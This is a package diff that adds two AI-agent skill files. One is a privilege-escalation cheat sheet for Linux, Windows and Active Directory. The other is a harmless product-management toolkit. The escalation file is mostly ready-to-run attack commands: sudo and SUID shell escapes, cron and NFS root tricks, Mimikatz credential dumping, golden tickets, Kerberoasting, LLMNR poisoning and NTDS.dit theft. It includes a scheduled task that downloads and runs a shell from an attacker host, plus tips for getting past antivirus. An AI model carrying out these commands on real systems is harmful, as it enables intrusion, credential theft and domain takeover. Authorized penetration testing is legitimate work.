skill-library-mcp 1.0.0

package/skills/privilege-escalation-methods/SKILL.md

@@ -0,0 +1,333 @@
+---
+name: Privilege Escalation Methods
+description: This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Privilege Escalation Methods
+
+## Purpose
+
+Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.
+
+## Inputs/Prerequisites
+
+- Initial low-privilege shell access on target system
+- Kali Linux or penetration testing distribution
+- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
+- Understanding of Windows/Linux privilege models
+- For AD attacks: Domain user credentials and network access to DC
+
+## Outputs/Deliverables
+
+- Root or Administrator shell access
+- Extracted credentials and hashes
+- Persistent access mechanisms
+- Domain compromise (for AD environments)
+
+---
+
+## Core Techniques
+
+### Linux Privilege Escalation
+
+#### 1. Abusing Sudo Binaries
+
+Exploit misconfigured sudo permissions using GTFOBins techniques:
+
+```bash
+# Check sudo permissions
+sudo -l
+
+# Exploit common binaries
+sudo vim -c ':!/bin/bash'
+sudo find /etc/passwd -exec /bin/bash \;
+sudo awk 'BEGIN {system("/bin/bash")}'
+sudo python -c 'import pty;pty.spawn("/bin/bash")'
+sudo perl -e 'exec "/bin/bash";'
+sudo less /etc/hosts    # then type: !bash
+sudo man man            # then type: !bash
+sudo env /bin/bash
+```
+
+#### 2. Abusing Scheduled Tasks (Cron)
+
+```bash
+# Find writable cron scripts
+ls -la /etc/cron*
+cat /etc/crontab
+
+# Inject payload into writable script
+echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
+chmod +x /home/user/systemupdate.sh
+
+# Wait for execution, then:
+/bin/bash -p
+```
+
+#### 3. Abusing Capabilities
+
+```bash
+# Find binaries with capabilities
+getcap -r / 2>/dev/null
+
+# Python with cap_setuid
+/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
+
+# Perl with cap_setuid
+/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
+
+# Tar with cap_dac_read_search (read any file)
+/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
+/usr/bin/tar -xvf key.tar
+```
+
+#### 4. NFS Root Squashing
+
+```bash
+# Check for NFS shares
+showmount -e <victim_ip>
+
+# Mount and exploit no_root_squash
+mkdir /tmp/mount
+mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
+cd /tmp/mount
+cp /bin/bash .
+chmod +s bash
+```
+
+#### 5. MySQL Running as Root
+
+```bash
+# If MySQL runs as root
+mysql -u root -p
+\! chmod +s /bin/bash
+exit
+/bin/bash -p
+```
+
+---
+
+### Windows Privilege Escalation
+
+#### 1. Token Impersonation
+
+```powershell
+# Using SweetPotato (SeImpersonatePrivilege)
+execute-assembly sweetpotato.exe -p beacon.exe
+
+# Using SharpImpersonation
+SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
+```
+
+#### 2. Service Abuse
+
+```powershell
+# Using PowerUp
+. .\PowerUp.ps1
+Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
+Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
+```
+
+#### 3. Abusing SeBackupPrivilege
+
+```powershell
+import-module .\SeBackupPrivilegeUtils.dll
+import-module .\SeBackupPrivilegeCmdLets.dll
+Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
+```
+
+#### 4. Abusing SeLoadDriverPrivilege
+
+```powershell
+# Load vulnerable Capcom driver
+.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
+.\ExploitCapcom.exe
+```
+
+#### 5. Abusing GPO
+
+```powershell
+.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
+  --Author DOMAIN\<USER> --Command "cmd.exe" `
+  --Arguments "/c net user Administrator Password!@# /domain" `
+  --GPOName "ADDITIONAL DC CONFIGURATION"
+```
+
+---
+
+### Active Directory Attacks
+
+#### 1. Kerberoasting
+
+```bash
+# Using Impacket
+GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
+
+# Using CrackMapExec
+crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
+```
+
+#### 2. AS-REP Roasting
+
+```powershell
+.\Rubeus.exe asreproast
+```
+
+#### 3. Golden Ticket
+
+```powershell
+# DCSync to get krbtgt hash
+mimikatz# lsadump::dcsync /user:krbtgt
+
+# Create golden ticket
+mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
+  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
+```
+
+#### 4. Pass-the-Ticket
+
+```powershell
+.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
+klist  # Verify ticket
+```
+
+#### 5. Golden Ticket with Scheduled Tasks
+
+```powershell
+# 1. Elevate and dump credentials
+mimikatz# token::elevate
+mimikatz# vault::cred /patch
+mimikatz# lsadump::lsa /patch
+
+# 2. Create golden ticket
+mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
+  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
+
+# 3. Create scheduled task
+schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
+  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
+schtasks /run /s DOMAIN /TN "enterprise"
+```
+
+---
+
+### Credential Harvesting
+
+#### LLMNR Poisoning
+
+```bash
+# Start Responder
+responder -I eth1 -v
+
+# Create malicious shortcut (Book.url)
+[InternetShortcut]
+URL=https://facebook.com
+IconIndex=0
+IconFile=\\attacker_ip\not_found.ico
+```
+
+#### NTLM Relay
+
+```bash
+responder -I eth1 -v
+ntlmrelayx.py -tf targets.txt -smb2support
+```
+
+#### Dumping with VSS
+
+```powershell
+vssadmin create shadow /for=C:
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
+```
+
+---
+
+## Quick Reference
+
+| Technique | OS | Domain Required | Tool |
+|-----------|-----|-----------------|------|
+| Sudo Binary Abuse | Linux | No | GTFOBins |
+| Cron Job Exploit | Linux | No | Manual |
+| Capability Abuse | Linux | No | getcap |
+| NFS no_root_squash | Linux | No | mount |
+| Token Impersonation | Windows | No | SweetPotato |
+| Service Abuse | Windows | No | PowerUp |
+| Kerberoasting | Windows | Yes | Rubeus/Impacket |
+| AS-REP Roasting | Windows | Yes | Rubeus |
+| Golden Ticket | Windows | Yes | Mimikatz |
+| Pass-the-Ticket | Windows | Yes | Rubeus |
+| DCSync | Windows | Yes | Mimikatz |
+| LLMNR Poisoning | Windows | Yes | Responder |
+
+---
+
+## Constraints
+
+**Must:**
+- Have initial shell access before attempting escalation
+- Verify target OS and environment before selecting technique
+- Use appropriate tool for domain vs local escalation
+
+**Must Not:**
+- Attempt techniques on production systems without authorization
+- Leave persistence mechanisms without client approval
+- Ignore detection mechanisms (EDR, SIEM)
+
+**Should:**
+- Enumerate thoroughly before exploitation
+- Document all successful escalation paths
+- Clean up artifacts after engagement
+
+---
+
+## Examples
+
+### Example 1: Linux Sudo to Root
+
+```bash
+# Check sudo permissions
+$ sudo -l
+User www-data may run the following commands:
+    (root) NOPASSWD: /usr/bin/vim
+
+# Exploit vim
+$ sudo vim -c ':!/bin/bash'
+root@target:~# id
+uid=0(root) gid=0(root) groups=0(root)
+```
+
+### Example 2: Windows Kerberoasting
+
+```bash
+# Request service tickets
+$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
+
+# Crack with hashcat
+$ hashcat -m 13100 hashes.txt rockyou.txt
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
+| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |
+| Kerberoasting returns no hashes | Check for service accounts with SPNs |
+| Token impersonation fails | Verify SeImpersonatePrivilege is present |
+| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |
+
+---
+
+## Additional Resources
+
+For detailed enumeration scripts, use:
+- **LinPEAS**: Linux privilege escalation enumeration
+- **WinPEAS**: Windows privilege escalation enumeration
+- **BloodHound**: Active Directory attack path mapping
+- **GTFOBins**: Unix binary exploitation reference

package/skills/product-manager-toolkit/SKILL.md

@@ -0,0 +1,351 @@
+---
+name: product-manager-toolkit
+description: Comprehensive toolkit for product managers including RICE prioritization, customer interview analysis, PRD templates, discovery frameworks, and go-to-market strategies. Use for feature prioritization, user research synthesis, requirement documentation, and product strategy development.
+---
+
+# Product Manager Toolkit
+
+Essential tools and frameworks for modern product management, from discovery to delivery.
+
+## Quick Start
+
+### For Feature Prioritization
+```bash
+python scripts/rice_prioritizer.py sample  # Create sample CSV
+python scripts/rice_prioritizer.py sample_features.csv --capacity 15
+```
+
+### For Interview Analysis
+```bash
+python scripts/customer_interview_analyzer.py interview_transcript.txt
+```
+
+### For PRD Creation
+1. Choose template from `references/prd_templates.md`
+2. Fill in sections based on discovery work
+3. Review with stakeholders
+4. Version control in your PM tool
+
+## Core Workflows
+
+### Feature Prioritization Process
+
+1. **Gather Feature Requests**
+   - Customer feedback
+   - Sales requests
+   - Technical debt
+   - Strategic initiatives
+
+2. **Score with RICE**
+   ```bash
+   # Create CSV with: name,reach,impact,confidence,effort
+   python scripts/rice_prioritizer.py features.csv
+   ```
+   - **Reach**: Users affected per quarter
+   - **Impact**: massive/high/medium/low/minimal
+   - **Confidence**: high/medium/low
+   - **Effort**: xl/l/m/s/xs (person-months)
+
+3. **Analyze Portfolio**
+   - Review quick wins vs big bets
+   - Check effort distribution
+   - Validate against strategy
+
+4. **Generate Roadmap**
+   - Quarterly capacity planning
+   - Dependency mapping
+   - Stakeholder alignment
+
+### Customer Discovery Process
+
+1. **Conduct Interviews**
+   - Use semi-structured format
+   - Focus on problems, not solutions
+   - Record with permission
+
+2. **Analyze Insights**
+   ```bash
+   python scripts/customer_interview_analyzer.py transcript.txt
+   ```
+   Extracts:
+   - Pain points with severity
+   - Feature requests with priority
+   - Jobs to be done
+   - Sentiment analysis
+   - Key themes and quotes
+
+3. **Synthesize Findings**
+   - Group similar pain points
+   - Identify patterns across interviews
+   - Map to opportunity areas
+
+4. **Validate Solutions**
+   - Create solution hypotheses
+   - Test with prototypes
+   - Measure actual vs expected behavior
+
+### PRD Development Process
+
+1. **Choose Template**
+   - **Standard PRD**: Complex features (6-8 weeks)
+   - **One-Page PRD**: Simple features (2-4 weeks)
+   - **Feature Brief**: Exploration phase (1 week)
+   - **Agile Epic**: Sprint-based delivery
+
+2. **Structure Content**
+   - Problem → Solution → Success Metrics
+   - Always include out-of-scope
+   - Clear acceptance criteria
+
+3. **Collaborate**
+   - Engineering for feasibility
+   - Design for experience
+   - Sales for market validation
+   - Support for operational impact
+
+## Key Scripts
+
+### rice_prioritizer.py
+Advanced RICE framework implementation with portfolio analysis.
+
+**Features**:
+- RICE score calculation
+- Portfolio balance analysis (quick wins vs big bets)
+- Quarterly roadmap generation
+- Team capacity planning
+- Multiple output formats (text/json/csv)
+
+**Usage Examples**:
+```bash
+# Basic prioritization
+python scripts/rice_prioritizer.py features.csv
+
+# With custom team capacity (person-months per quarter)
+python scripts/rice_prioritizer.py features.csv --capacity 20
+
+# Output as JSON for integration
+python scripts/rice_prioritizer.py features.csv --output json
+```
+
+### customer_interview_analyzer.py
+NLP-based interview analysis for extracting actionable insights.
+
+**Capabilities**:
+- Pain point extraction with severity assessment
+- Feature request identification and classification
+- Jobs-to-be-done pattern recognition
+- Sentiment analysis
+- Theme extraction
+- Competitor mentions
+- Key quotes identification
+
+**Usage Examples**:
+```bash
+# Analyze single interview
+python scripts/customer_interview_analyzer.py interview.txt
+
+# Output as JSON for aggregation
+python scripts/customer_interview_analyzer.py interview.txt json
+```
+
+## Reference Documents
+
+### prd_templates.md
+Multiple PRD formats for different contexts:
+
+1. **Standard PRD Template**
+   - Comprehensive 11-section format
+   - Best for major features
+   - Includes technical specs
+
+2. **One-Page PRD**
+   - Concise format for quick alignment
+   - Focus on problem/solution/metrics
+   - Good for smaller features
+
+3. **Agile Epic Template**
+   - Sprint-based delivery
+   - User story mapping
+   - Acceptance criteria focus
+
+4. **Feature Brief**
+   - Lightweight exploration
+   - Hypothesis-driven
+   - Pre-PRD phase
+
+## Prioritization Frameworks
+
+### RICE Framework
+```
+Score = (Reach × Impact × Confidence) / Effort
+
+Reach: # of users/quarter
+Impact: 
+  - Massive = 3x
+  - High = 2x
+  - Medium = 1x
+  - Low = 0.5x
+  - Minimal = 0.25x
+Confidence:
+  - High = 100%
+  - Medium = 80%
+  - Low = 50%
+Effort: Person-months
+```
+
+### Value vs Effort Matrix
+```
+         Low Effort    High Effort
+         
+High     QUICK WINS    BIG BETS
+Value    [Prioritize]   [Strategic]
+         
+Low      FILL-INS      TIME SINKS
+Value    [Maybe]       [Avoid]
+```
+
+### MoSCoW Method
+- **Must Have**: Critical for launch
+- **Should Have**: Important but not critical
+- **Could Have**: Nice to have
+- **Won't Have**: Out of scope
+
+## Discovery Frameworks
+
+### Customer Interview Guide
+```
+1. Context Questions (5 min)
+   - Role and responsibilities
+   - Current workflow
+   - Tools used
+
+2. Problem Exploration (15 min)
+   - Pain points
+   - Frequency and impact
+   - Current workarounds
+
+3. Solution Validation (10 min)
+   - Reaction to concepts
+   - Value perception
+   - Willingness to pay
+
+4. Wrap-up (5 min)
+   - Other thoughts
+   - Referrals
+   - Follow-up permission
+```
+
+### Hypothesis Template
+```
+We believe that [building this feature]
+For [these users]
+Will [achieve this outcome]
+We'll know we're right when [metric]
+```
+
+### Opportunity Solution Tree
+```
+Outcome
+├── Opportunity 1
+│   ├── Solution A
+│   └── Solution B
+└── Opportunity 2
+    ├── Solution C
+    └── Solution D
+```
+
+## Metrics & Analytics
+
+### North Star Metric Framework
+1. **Identify Core Value**: What's the #1 value to users?
+2. **Make it Measurable**: Quantifiable and trackable
+3. **Ensure It's Actionable**: Teams can influence it
+4. **Check Leading Indicator**: Predicts business success
+
+### Funnel Analysis Template
+```
+Acquisition → Activation → Retention → Revenue → Referral
+
+Key Metrics:
+- Conversion rate at each step
+- Drop-off points
+- Time between steps
+- Cohort variations
+```
+
+### Feature Success Metrics
+- **Adoption**: % of users using feature
+- **Frequency**: Usage per user per time period
+- **Depth**: % of feature capability used
+- **Retention**: Continued usage over time
+- **Satisfaction**: NPS/CSAT for feature
+
+## Best Practices
+
+### Writing Great PRDs
+1. Start with the problem, not solution
+2. Include clear success metrics upfront
+3. Explicitly state what's out of scope
+4. Use visuals (wireframes, flows)
+5. Keep technical details in appendix
+6. Version control changes
+
+### Effective Prioritization
+1. Mix quick wins with strategic bets
+2. Consider opportunity cost
+3. Account for dependencies
+4. Buffer for unexpected work (20%)
+5. Revisit quarterly
+6. Communicate decisions clearly
+
+### Customer Discovery Tips
+1. Ask "why" 5 times
+2. Focus on past behavior, not future intentions
+3. Avoid leading questions
+4. Interview in their environment
+5. Look for emotional reactions
+6. Validate with data
+
+### Stakeholder Management
+1. Identify RACI for decisions
+2. Regular async updates
+3. Demo over documentation
+4. Address concerns early
+5. Celebrate wins publicly
+6. Learn from failures openly
+
+## Common Pitfalls to Avoid
+
+1. **Solution-First Thinking**: Jumping to features before understanding problems
+2. **Analysis Paralysis**: Over-researching without shipping
+3. **Feature Factory**: Shipping features without measuring impact
+4. **Ignoring Technical Debt**: Not allocating time for platform health
+5. **Stakeholder Surprise**: Not communicating early and often
+6. **Metric Theater**: Optimizing vanity metrics over real value
+
+## Integration Points
+
+This toolkit integrates with:
+- **Analytics**: Amplitude, Mixpanel, Google Analytics
+- **Roadmapping**: ProductBoard, Aha!, Roadmunk
+- **Design**: Figma, Sketch, Miro
+- **Development**: Jira, Linear, GitHub
+- **Research**: Dovetail, UserVoice, Pendo
+- **Communication**: Slack, Notion, Confluence
+
+## Quick Commands Cheat Sheet
+
+```bash
+# Prioritization
+python scripts/rice_prioritizer.py features.csv --capacity 15
+
+# Interview Analysis
+python scripts/customer_interview_analyzer.py interview.txt
+
+# Create sample data
+python scripts/rice_prioritizer.py sample
+
+# JSON outputs for integration
+python scripts/rice_prioritizer.py features.csv --output json
+python scripts/customer_interview_analyzer.py interview.txt json
+```